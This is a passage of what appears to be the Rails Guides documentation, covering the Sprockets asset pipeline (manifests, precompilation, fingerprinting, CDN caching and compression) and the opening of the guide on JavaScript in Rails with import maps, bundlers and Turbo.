Assets can still be placed in the public hierarchy. Any assets under public will be served as static files by the application or web server when config.public_file_server.enabled is set to true. You should use app/assets for files that must undergo some pre-processing before they are served.

In production, Rails precompiles these files to public/assets by default. The precompiled copies are then served as static assets by the web server. The files in app/assets are never served directly in production.

2.1 Controller Specific Assets

When you generate a scaffold or a controller, Rails also generates a Cascading Style Sheet file (or SCSS file if sass-rails is in the Gemfile) for that controller. Additionally, when generating a scaffold, Rails generates the file scaffolds.css (or scaffolds.scss if sass-rails is in the Gemfile.)

For example, if you generate a ProjectsController, Rails will also add a new file at app/assets/stylesheets/projects.scss. By default these files will be ready to use by your application immediately using the require_tree directive. See Manifest Files and Directives for more details on require_tree.

You can also opt to include controller specific stylesheets and JavaScript files only in their respective controllers using the following:

<%= javascript_include_tag params[:controller] %> or <%= stylesheet_link_tag params[:controller] %>

When doing this, ensure you are not using the require_tree directive, as that will result in your assets being included more than once.

When using asset precompilation, you will need to ensure that your controller assets will be precompiled when loading them on a per page basis. By default .coffee and .scss files will not be precompiled on their own. See Precompiling Assets for more information on how precompiling works.

You must have an ExecJS supported runtime in order to use CoffeeScript. If you are using macOS or Windows, you have a JavaScript runtime installed in your operating system. Check ExecJS documentation to know all supported JavaScript runtimes.

2.2 Asset Organization

Pipeline assets can be placed inside an application in one of three locations: app/assets, lib/assets or vendor/assets.

app/assets is for assets that are owned by the application, such as custom images, JavaScript files, or stylesheets.

lib/assets is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.

vendor/assets is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks. Keep in mind that third party code with references to other files also processed by the asset Pipeline (images, stylesheets, etc.), will need to be rewritten to use helpers like asset_path.

2.2.1 Search Paths

When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it.

The default locations are: the images, javascripts and stylesheets directories under the app/assets folder, but these subdirectories are not special - any path under assets/* will be searched.

For example, these files:

  app/assets/javascripts/home.js
lib/assets/javascripts/moovinator.js
vendor/assets/javascripts/slider.js
vendor/assets/somepackage/phonebox.js

would be referenced in a manifest like this:

  //= require home
//= require moovinator
//= require slider
//= require phonebox

Assets inside subdirectories can also be accessed.

  app/assets/javascripts/sub/something.js

is referenced as:

  //= require sub/something

You can view the search path by inspecting Rails.application.config.assets.paths in the Rails console.

Besides the standard assets/* paths, additional (fully qualified) paths can be added to the pipeline in config/initializers/assets.rb. For example:

  Rails.application.config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")

Paths are traversed in the order they occur in the search path. By default, this means the files in app/assets take precedence, and will mask corresponding paths in lib and vendor.

It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment.

2.2.2 Using Index Files

Sprockets uses files named index (with the relevant extensions) for a special purpose.

For example, if you have a jQuery library with many modules, which is stored in lib/assets/javascripts/library_name, the file lib/assets/javascripts/library_name/index.js serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple require_tree directive.

The library as a whole can be accessed in the application manifest like so:

  //= require library_name

This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.

2.3 Coding Links to Assets

Sprockets does not add any new methods to access your assets - you still use the familiar javascript_include_tag and stylesheet_link_tag:

  <%= stylesheet_link_tag "application", media: "all" %>
<%= javascript_include_tag "application" %>

If using the turbolinks gem, which is included by default in Rails, then include the 'data-turbo-track' option which causes Turbo to check if an asset has been updated and if so loads it into the page:

  <%= stylesheet_link_tag "application", media: "all", "data-turbo-track" => "reload" %>
<%= javascript_include_tag "application", "data-turbo-track" => "reload" %>

In regular views you can access images in the app/assets/images directory like this:

  <%= image_tag "rails.png" %>

Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at public/assets/rails.png it is served by the web server.

Alternatively, a request for a file with an SHA256 hash such as public/assets/rails-f90d8a84c707a8dc923fca1ca1895ae8ed0a09237f6992015fef1e11be77c023.png is treated the same way. How these hashes are generated is covered in the In Production section later on in this guide.

Sprockets will also look through the paths specified in config.assets.paths, which includes the standard application paths and any paths added by Rails engines.

Images can also be organized into subdirectories if required, and then can be accessed by specifying the directory's name in the tag:

  <%= image_tag "icons/rails.png" %>

If you're precompiling your assets (see In Production below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using image_tag and the other helpers with user-supplied data.

2.3.1 CSS and ERB

The asset pipeline automatically evaluates ERB. This means if you add an erb extension to a CSS asset (for example, application.css.erb), then helpers like asset_path are available in your CSS rules:

  .class { background-image: url(<%= asset_path 'image.png' %>) }

This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as app/assets/images/image.png, which would be referenced here. If this image is already available in public/assets as a fingerprinted file, then that path is referenced.

If you want to use a data URI - a method of embedding the image data directly into the CSS file - you can use the asset_data_uri helper.

  #logo { background: url(<%= asset_data_uri 'logo.png' %>) }

This inserts a correctly-formatted data URI into the CSS source.

Note that the closing tag cannot be of the style -%>.

2.3.2 CSS and Sass

When using the asset pipeline, paths to assets must be re-written and sass-rails provides -url and -path helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.

image-url("rails.png") returns url(/assets/rails.png)

image-path("rails.png") returns "/assets/rails.png"

The more generic form can also be used:

asset-url("rails.png") returns url(/assets/rails.png)

asset-path("rails.png") returns "/assets/rails.png"

2.3.3 JavaScript/CoffeeScript and ERB

If you add an erb extension to a JavaScript asset, making it something such as application.js.erb, you can then use the asset_path helper in your JavaScript code:

  document.getElementById('logo').src = "<%= asset_path('logo.png') %>"

This writes the path to the particular asset being referenced.

2.4 Manifest Files and Directives

Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain directives - instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file, and then compresses them (based on value of Rails.application.config.assets.js_compressor). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests. Compression also reduces file size, enabling the browser to download them faster.

For example, with a app/assets/javascripts/application.js file containing the following lines:

  // ...
//= require rails-ujs
//= require turbolinks
//= require_tree .

In JavaScript files, Sprockets directives begin with //=. In the above case, the file is using the require and the require_tree directives. The require directive is used to tell Sprockets the files you wish to require. Here, you are requiring the files rails-ujs.js and turbolinks.js that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a .js file when done from within a .js file.

The require_tree directive tells Sprockets to recursively include all JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the require_directory directive which includes all JavaScript files only in the directory specified, without recursion.

Directives are processed top to bottom, but the order in which files are included by require_tree is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of require directives prevents files from being included twice in the output.

Rails also creates a default app/assets/stylesheets/application.css file which contains these lines:

  /* ...
 *= require_self
 *= require_tree .
 */

Rails creates app/assets/stylesheets/application.css regardless of whether the --skip-asset-pipeline option is used when creating a new Rails application. This is so you can easily add asset pipelining later if you like.

The directives that work in JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The require_tree directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.

In this example, require_self is used. This puts the CSS contained within the file (if any) at the precise location of the require_self call.

If you want to use multiple Sass files, you should generally use the Sass @import rule instead of these Sprockets directives. When using Sprockets directives, Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.

You can do file globbing as well using @import "*", and @import "**/*" to add the whole tree which is equivalent to how require_tree works. Check the sass-rails documentation for more info and important caveats.

You can have as many manifest files as you need. For example, the admin.css and admin.js manifest could contain the JS and CSS files that are used for the admin section of an application.

The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:

  /* ...
 *= require reset
 *= require layout
 *= require chrome
 */

2.5 Preprocessing

The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, an SCSS file is generated in place of a regular CSS file. The example used before was a controller called "projects", which generated an app/assets/stylesheets/projects.scss file.

In development mode, or if the asset pipeline is disabled, when this file is requested it is processed by the processor provided by the sass-rails gem and then sent back to the browser as CSS. When asset pipelining is enabled, this file is preprocessed and placed in the public/assets directory for serving by either the Rails app or web server.

Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called app/assets/stylesheets/projects.scss.erb is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file - app/assets/javascripts/projects.coffee.erb is processed as ERB, then CoffeeScript, and served as JavaScript.

Keep in mind the order of these preprocessors is important. For example, if you called your JavaScript file app/assets/javascripts/projects.erb.coffee then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.

3 In Development

In development mode, assets are served as a concatenated file.

This manifest app/assets/javascripts/application.js:

  //= require core
//= require projects
//= require tickets

would generate this HTML:

  <script src="/assets/application-728742f3b9daa182fe7c831f6a3b8fa87609b4007fdc2f87c134a07b19ad93fb.js"></script>

3.1 Raise an Error When an Asset is Not Found

If you are using sprockets-rails >= 3.2.0 you can configure what happens when an asset lookup is performed and nothing is found. If you turn off "asset fallback" then an error will be raised when an asset cannot be found.

  config.assets.unknown_asset_fallback = false

If "asset fallback" is enabled then when an asset cannot be found the path will be output instead and no error raised. The asset fallback behavior is disabled by default.

3.2 Turning Digests Off

You can turn off digests by updating config/environments/development.rb to include:

  config.assets.digest = false

When this option is true, digests will be generated for asset URLs.

3.3 Turning Source Maps On

You can turn on source maps by updating config/environments/development.rb to include:

  config.assets.debug = true

When debug mode is on, Sprockets will generate a Source Map for each asset. This allows you to debug each file individually in your browser's developer tools.

Assets are compiled and cached on the first request after the server is started. Sprockets sets a must-revalidate Cache-Control HTTP header to reduce request overhead on subsequent requests - on these the browser gets a 304 (Not Modified) response.

If any of the files in the manifest change between requests, the server responds with a new compiled file.

4 In Production

In the production environment Sprockets uses the fingerprinting scheme outlined above. By default Rails assumes assets have been precompiled and will be served as static assets by your web server.

During the precompilation phase an SHA256 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disk. These fingerprinted names are used by the Rails helpers in place of the manifest name.

For example this:

  <%= javascript_include_tag "application" %>
<%= stylesheet_link_tag "application" %>

generates something like this:

  <script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" rel="stylesheet" />

with the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from the javascript_include_tag and stylesheet_link_tag.

The fingerprinting behavior is controlled by the config.assets.digest initialization option (which defaults to true).

Under normal circumstances the default config.assets.digest option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.

4.1 Precompiling Assets

Rails comes bundled with a command to compile the asset manifests and other files in the pipeline.

Compiled assets are written to the location specified in config.assets.prefix. By default, this is the /assets directory.

You can call this command on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally.

The command is:

  $ RAILS_ENV=production rails assets:precompile

This links the folder specified in config.assets.prefix to shared/assets. If you already use this shared folder you'll need to write your own deployment command.

It is important that this folder is shared between deployments so that remotely cached pages referencing the old compiled assets still work for the life of the cached page.

The default matcher for compiling files includes application.js, application.css and all non-JS/CSS files (this will include all image assets automatically) from app/assets folders including your gems:

  [ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) },
/application.(css|js)$/ ]

The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, .coffee and .scss files are not automatically included as they compile to JS/CSS.

If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the precompile array in config/initializers/assets.rb:

  Rails.application.config.assets.precompile += %w( admin.js admin.css )

Always specify an expected compiled filename that ends with .js or .css, even if you want to add Sass or CoffeeScript files to the precompile array.

The command also generates a .sprockets-manifest-randomhex.json (where randomhex is a 16-byte random hex string) that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:

  {"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383,
"digest":"aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b","integrity":"sha256-ruS+cfEogDeueLmX3ziDMu39JGRxtTPc7aqPn+FWRCs="},
"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css":{"logical_path":"application.css","mtime":"2016-12-23T19:12:20-05:00","size":2994,
"digest":"86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18","integrity":"sha256-hqKStQcHk8N+LA5fOfc7s4dkTq6tp/lub8BAoCixbBg="},
"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico":{"logical_path":"favicon.ico","mtime":"2016-12-23T20:11:00-05:00","size":8629,
"digest":"8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda","integrity":"sha256-jSOHuNTTLOzZP6OQDfDp/4nQGqzYT1DngMF8n2s9Dto="},
"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png":{"logical_path":"my_image.png","mtime":"2016-12-23T20:10:54-05:00","size":23414,
"digest":"f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493","integrity":"sha256-9AKBVv1+ygNYTV8vwEcN8eDbxzaequY4sv8DP5iOxJM="}},
"assets":{"application.js":"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js",
"application.css":"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css",
"favicon.ico":"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico",
"my_image.png":"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png"}}

The default location for the manifest is the root of the location specified in config.assets.prefix ('/assets' by default).

If there are missing precompiled files in production you will get a Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError exception indicating the name of the missing file(s).

4.1.1 Far-future Expires Header

Precompiled assets exist on the file system and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add those headers.

For Apache:

  # The Expires* directives requires the Apache module
# `mod_expires` to be enabled.
<Location /assets/>
  # Use of ETag is discouraged when Last-Modified is present
  Header unset ETag
  FileETag None
  # RFC says only cache for 1 year
  ExpiresActive On
  ExpiresDefault "access plus 1 year"
</Location>

For NGINX:

  location ~ ^/assets/ {
  expires 1y;
  add_header Cache-Control public;

  add_header ETag "";
}

4.2 Local Precompilation

Sometimes, you may not want or be able to compile assets on the production server. For instance, you may have limited write access to your production filesystem, or you may plan to deploy frequently without making any changes to your assets.

In such cases, you can precompile assets locally — that is, add a finalized set of compiled, production-ready assets to your source code repository before pushing to production. This way, they do not need to be precompiled separately on the production server upon each deployment.

As above, you can perform this step using

  $ RAILS_ENV=production rails assets:precompile

Note the following caveats:

If precompiled assets are available, they will be served — even if they no longer match the original (uncompiled) assets, even on the development server.

To ensure that the development server always compiles assets on-the-fly (and thus always reflects the most recent state of the code), the development environment must be configured to keep precompiled assets in a different location than production does. Otherwise, any assets precompiled for use in production will clobber requests for them in development (i.e., subsequent changes you make to assets will not be reflected in the browser).

You can do this by adding the following line to config/environments/development.rb:

config.assets.prefix = "/dev-assets"

The asset precompile task in your deployment tool (e.g., Capistrano) should be disabled.

Any necessary compressors or minifiers must be available on your development system.

4.3 Live Compilation

In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.

To enable this option set:

  config.assets.compile = true

On the first request the assets are compiled and cached as outlined in Assets Cache Store, and the manifest names used in the helpers are altered to include the SHA256 hash.

Sprockets also sets the Cache-Control HTTP header to max-age=31536000. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.

This mode uses more memory, performs more poorly than the default, and is not recommended.

If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:

  group :production do
  gem 'mini_racer'
end

4.4 CDNs

CDN stands for Content Delivery Network, they are primarily designed to cache assets all over the world so that when a browser requests the asset, a cached copy will be geographically close to that browser. If you are serving assets directly from your Rails server in production, the best practice is to use a CDN in front of your application.

A common pattern for using a CDN is to set your production application as the "origin" server. This means when a browser requests an asset from the CDN and there is a cache miss, it will grab the file from your server on the fly and then cache it. For example if you are running a Rails application on example.com and have a CDN configured at mycdnsubdomain.fictional-cdn.com, then when a request is made to mycdnsubdomain.fictional- cdn.com/assets/smile.png, the CDN will query your server once at example.com/assets/smile.png and cache the request. The next request to the CDN that comes in to the same URL will hit the cached copy. When the CDN can serve an asset directly the request never touches your Rails server. Since the assets from a CDN are geographically closer to the browser, the request is faster, and since your server doesn't need to spend time serving assets, it can focus on serving application code as fast as possible.

4.4.1 Set up a CDN to Serve Static Assets

To set up your CDN you have to have your application running in production on the internet at a publicly available URL, for example example.com. Next you'll need to sign up for a CDN service from a cloud hosting provider. When you do this you need to configure the "origin" of the CDN to point back at your website example.com. Check your provider for documentation on configuring the origin server.

The CDN you provisioned should give you a custom subdomain for your application such as mycdnsubdomain.fictional-cdn.com (note fictional-cdn.com is not a valid CDN provider at the time of this writing). Now that you have configured your CDN server, you need to tell browsers to use your CDN to grab assets instead of your Rails server directly. You can do this by configuring Rails to set your CDN as the asset host instead of using a relative path. To set your asset host in Rails, you need to set config.asset_host in config/environments/production.rb:

  config.asset_host = 'mycdnsubdomain.fictional-cdn.com'

You only need to provide the "host", this is the subdomain and root domain, you do not need to specify a protocol or "scheme" such as http:// or https://. When a web page is requested, the protocol in the link to your asset that is generated will match how the webpage is accessed by default.

You can also set this value through an environment variable to make running a staging copy of your site easier:

  config.asset_host = ENV['CDN_HOST']

You would need to set CDN_HOST on your server to mycdnsubdomain .fictional-cdn.com for this to work.

Once you have configured your server and your CDN, asset paths from helpers such as:

  <%= asset_path('smile.png') %>

Will be rendered as full CDN URLs like http://mycdnsubdomain.fictional-cdn.com/assets/smile.png (digest omitted for readability).

If the CDN has a copy of smile.png, it will serve it to the browser, and your server doesn't even know it was requested. If the CDN does not have a copy, it will try to find it at the "origin" example.com/assets/smile.png, and then store it for future use.

If you want to serve only some assets from your CDN, you can use custom :host option your asset helper, which overwrites value set in config.action_controller.asset_host.

  <%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %>

4.4.2 Customize CDN Caching Behavior

A CDN works by caching content. If the CDN has stale or bad content, then it is hurting rather than helping your application. The purpose of this section is to describe general caching behavior of most CDNs. Your specific provider may behave slightly differently.

4.4.2.1 CDN Request Caching

While a CDN is described as being good for caching assets, it actually caches the entire request. This includes the body of the asset as well as any headers. The most important one being Cache-Control, which tells the CDN (and web browsers) how to cache contents. This means that if someone requests an asset that does not exist, such as /assets/i-dont-exist.png, and your Rails application returns a 404, then your CDN will likely cache the 404 page if a valid Cache-Control header is present.

4.4.2.2 CDN Header Debugging

One way to check the headers are cached properly in your CDN is by using curl. You can request the headers from both your server and your CDN to verify they are the same:

  $ curl -I http://www.example/assets/application-
d0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK
Server: Cowboy
Date: Sun, 24 Aug 2014 20:27:50 GMT
Connection: keep-alive
Last-Modified: Thu, 08 May 2014 01:24:14 GMT
Content-Type: text/css
Cache-Control: public, max-age=2592000
Content-Length: 126560
Via: 1.1 vegur

Versus the CDN copy:

  $ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
d0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK Server: Cowboy Last-
Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css
Cache-Control:
public, max-age=2592000
Via: 1.1 vegur
Content-Length: 126560
Accept-Ranges:
bytes
Date: Sun, 24 Aug 2014 20:28:45 GMT
Via: 1.1 varnish
Age: 885814
Connection: keep-alive
X-Served-By: cache-dfw1828-DFW
X-Cache: HIT
X-Cache-Hits:
68
X-Timer: S1408912125.211638212,VS0,VE0

Check your CDN documentation for any additional information they may provide such as X-Cache or for any additional headers they may add.

4.4.2.3 CDNs and the Cache-Control Header

The Cache-Control header describes how a request can be cached. When no CDN is used, a browser will use this information to cache contents. This is very helpful for assets that are not modified so that a browser does not need to re-download a website's CSS or JavaScript on every request. Generally we want our Rails server to tell our CDN (and browser) that the asset is "public". That means any cache can store the request. Also we commonly want to set max-age which is how long the cache will store the object before invalidating the cache. The max-age value is set to seconds with a maximum possible value of 31536000, which is one year. You can do this in your Rails application by setting

  config.public_file_server.headers = {
  'Cache-Control' => 'public, max-age=31536000'
}

Now when your application serves an asset in production, the CDN will store the asset for up to a year. Since most CDNs also cache headers of the request, this Cache-Control will be passed along to all future browsers seeking this asset. The browser then knows that it can store this asset for a very long time before needing to re-request it.

4.4.2.4 CDNs and URL-based Cache Invalidation

Most CDNs will cache contents of an asset based on the complete URL. This means that a request to

  http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png

Will be a completely different cache from

  http://mycdnsubdomain.fictional-cdn.com/assets/smile.png

If you want to set far future max-age in your Cache-Control (and you do), then make sure when you change your assets that your cache is invalidated. For example when changing the smiley face in an image from yellow to blue, you want all visitors of your site to get the new blue face. When using a CDN with the Rails asset pipeline config.assets.digest is set to true by default so that each asset will have a different file name when it is changed. This way you don't have to ever manually invalidate any items in your cache. By using a different unique asset name instead, your users get the latest asset.

5 Customizing the Pipeline

5.1 CSS Compression

One of the options for compressing CSS is YUI. The YUI CSS compressor provides minification.

The following line enables YUI compression, and requires the yui-compressor gem.

  config.assets.css_compressor = :yui

The other option for compressing CSS if you have the sass-rails gem installed is

  config.assets.css_compressor = :sass

5.2 JavaScript Compression

Possible options for JavaScript compression are :terser, :closure and :yui. These require the use of the terser, closure-compiler or yui-compressor gems, respectively.

Take the terser gem, for example. This gem wraps Terser (written for Node.js) in Ruby. It compresses your code by removing white space and comments, shortening local variable names, and performing other micro-optimizations such as changing if and else statements to ternary operators where possible.

The following line invokes terser for JavaScript compression.

  config.assets.js_compressor = :terser

You will need an ExecJS supported runtime in order to use terser. If you are using macOS or Windows you have a JavaScript runtime installed in your operating system.

5.3 GZipping Your Assets

By default, gzipped version of compiled assets will be generated, along with the non-gzipped version of assets. Gzipped assets help reduce the transmission of data over the wire. You can configure this by setting the gzip flag.

  config.assets.gzip = false # disable gzipped assets generation

Refer to your web server's documentation for instructions on how to serve gzipped assets.

5.4 Using Your Own Compressor

The compressor config settings for CSS and JavaScript also take any object. This object must have a compress method that takes a string as the sole argument and it must return a string.

  class Transformer
  def compress(string)
    do_something_returning_a_string(string)
  end
end

To enable this, pass a new object to the config option in application.rb:

  config.assets.css_compressor = Transformer.new

5.5 Changing the assets Path

The public path that Sprockets uses by default is /assets.

This can be changed to something else:

  config.assets.prefix = "/some_other_path"

This is a handy option if you are updating an older project that didn't use the asset pipeline and already uses this path or you wish to use this path for a new resource.

5.6 X-Sendfile Headers

The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. Have a look at send_file on how to use this feature.

Apache and NGINX support this option, which can be enabled in config/environments/production.rb:

  # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX

If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into production.rb and any other environments you define with production behavior (not application.rb).

For further details have a look at the docs of your production web server: - Apache - NGINX

6 Assets Cache Store

By default, Sprockets caches assets in tmp/cache/assets in development and production environments. This can be changed as follows:

  config.assets.configure do |env|
  env.cache = ActiveSupport::Cache.lookup_store(:memory_store,
                                                { size: 32.megabytes })
end

To disable the assets cache store:

  config.assets.configure do |env|
  env.cache = ActiveSupport::Cache.lookup_store(:null_store)
end

7 Adding Assets to Your Gems

Assets can also come from external sources in the form of gems.

A good example of this is the jquery-rails gem. This gem contains an engine class which inherits from Rails::Engine. By doing this, Rails is informed that the directory for this gem may contain assets and the app/assets, lib/assets and vendor/assets directories of this engine are added to the search path of Sprockets.

8 Making Your Library or Gem a Pre-Processor

Sprockets uses Processors, Transformers, Compressors, and Exporters to extend Sprockets functionality. Have a look at Extending Sprockets to learn more. Here we registered a preprocessor to add a comment to the end of text/css (.css) files.

  module AddComment
  def self.call(input)
    { data: input[:data] + "/* Hello From my sprockets extension */" }
  end
end

Now that you have a module that modifies the input data, it's time to register it as a preprocessor for your mime type.

  Sprockets.register_preprocessor 'text/css', AddComment

Working with JavaScript in Rails

This guide covers the options for integrating JavaScript functionality into your Rails application, including the options you have for using external JavaScript packages and how to use Turbo with Rails.

After reading this guide, you will know:

How to use Rails without the need for a Node.js, Yarn, or a JavaScript bundler.

How to create a new Rails application using import maps, esbuild, rollup, or webpack to bundle your JavaScript.

What Turbo is, and how to use it.

How to use the Turbo HTML helpers provided by Rails.

Chapters

Import Maps

Adding NPM Packages with importmap-rails

Adding NPM Packages with JavaScript Bundlers

Installing Node.js and Yarn

Choosing Between Import Maps and a JavaScript Bundler

Turbo

Turbo Drive

Turbo Frames

Turbo Streams

Replacements for Rails/UJS Functionality

Method

Confirmations

1 Import Maps

Import maps let you import JavaScript modules using logical names that map to versioned files directly from the browser. Import maps are the default from Rails 7, allowing anyone to build modern JavaScript applications using most NPM packages without the need for transpiling or bundling.

Applications using import maps do not need Node.js or Yarn to function. If you plan to use Rails with importmap-rails to manage your JavaScript dependencies, there is no need to install Node.js or Yarn.

When using import maps, no separate build process is required, just start your server with bin/rails server and you are good to go.

1.1 Adding NPM Packages with importmap-rails

To add new packages to your import map-powered application, run the bin/importmap pin command from your terminal:

  $ bin/importmap pin react react-dom

Then, import the package into application.js as usual:

  import React from "react"
import ReactDOM from "react-dom"

2 Adding NPM Packages with JavaScript Bundlers

Import maps are the default for new Rails applications, but if you prefer traditional JavaScript bundling, you can create new Rails applications with your choice of esbuild, webpack, or rollup.js.

To use a bundler instead of import maps in a new Rails application, pass the —javascript or -j option to rails new:

  $ rails new my_new_app --javascript=webpack
OR
$ rails new my_new_app -j webpack

These bundling options each come with a simple configuration and integration with the asset pipeline via the jsbundling-rails gem.

When using a bundling option, use bin/dev to start the Rails server and build JavaScript for development.

2.1 Installing Node.js and Yarn

If you are using a JavaScript bundler in your Rails application, Node.js and Yarn must be installed.

Find the installation instructions at the Node.js website and verify it’s installed correctly with the following command:

  $ node --version

The version of your Node.js runtime should be printed out. Make sure it’s greater than 8.16.0.

To install Yarn, follow the installation instructions at the Yarn website. Running this command should print out the Yarn version:

  $ yarn --version

If it says something like 1.22.0, Yarn has been installed correctly.

3 Choosing Between Import Maps and a JavaScript Bundler

When you create a new Rails application, you will need to choose between import maps and a JavaScript bundling solution. Every application has different requirements, and you should consider your requirements carefully before choosing a JavaScript option, as migrating from one option to another may be time-consuming for large, complex applications.

Import maps are the default option because the Rails team believes in import maps' potential for reducing complexity, improving developer experience, and delivering performance gains.

For many applications, especially those that rely primarily on the Hotwire stack for their JavaScript needs, import maps will be the right option for the long term. You can read more about the reasoning behind making import maps the default in Rails 7 here.

Other applications may still need a traditional JavaScript bundler. Requirements that indicate that you should choose a traditional bundler include:

If your code requires a transpilation step, such as JSX or TypeScript.

If you need to use JavaScript libraries that include CSS or otherwise rely on Webpack loaders.

If you are absolutely sure that you need tree-shaking.

If you will install Bootstrap, Bulma, PostCSS, or Dart CSS through the cssbundling-rails gem. All options provided by this gem except Tailwind will automatically install esbuild for you if you do not specify a different option in rails new.

4 Turbo

Whether you choose import maps or a traditional bundler, Rails ships with Turbo to speed up your application while dramatically reducing the amount of JavaScript that you will need to write.

Turbo lets your server deliver HTML directly as an alternative to the prevailing front-end frameworks that reduce the server-side of your Rails application to little more than a JSON API.

4.1 Turbo Drive

Turbo Drive speeds up page loads by avoiding full-page teardowns and rebuilds on every navigation request. Turbo Drive is an improvement on and replacement for Turbolinks.

4.2 Turbo Frames

Turbo Frames allow predefined parts of a page to be updated on request, without impacting the rest of the page’s content.

You can use Turbo Frames to build in-place editing without any custom JavaScript, lazy load content, and create server-rendered, tabbed interfaces with ease.

Rails provides HTML helpers to simplify the use of Turbo Frames through the turbo-rails gem.

Using this gem, you can add a Turbo Frame to your application with the turbo_frame_tag helper like this:

  <%= turbo_frame_tag dom_id(post) do %>
  <div>
     <%= link_to post.title, post_path(path) %>
  </div>
<% end %>

4.3 Turbo Streams

Turbo Streams deliver page changes as fragments of HTML wrapped in self-executing <turbo-stream> elements. Turbo Streams allow you to broadcast changes made by other users over WebSockets and update pieces of a page after a form submission without requiring a full page load.

Rails provides HTML and server-side helpers to simplify the use of Turbo Streams through the turbo-rails gem.

Using this gem, you can render Turbo Streams from a controller action:

  def create
  @post = Post.new(post_params)

  respond_to do |format|
    if @post.save
      format.turbo_stream
    else
      format.html { render :new, status: :unprocessable_entity }
    end
  end
end

Rails will automatically look for a .turbo_stream.erb view file and render that view when found.

Turbo Stream responses can also be rendered inline in the controller action:

  def create
  @post = Post.new(post_params)

  respond_to do |format|
    if @post.save
      format.turbo_stream { render turbo_stream: turbo_stream.prepend('posts', partial: 'post') }
    else
      format.html { render :new, status: :unprocessable_entity }
    end
  end
end

Finally, Turbo Streams can be initiated from a model or a background job using built-in helpers. These broadcasts can be used to update content via a WebSocket connection to all users, keeping page content fresh and bringing your application to life.

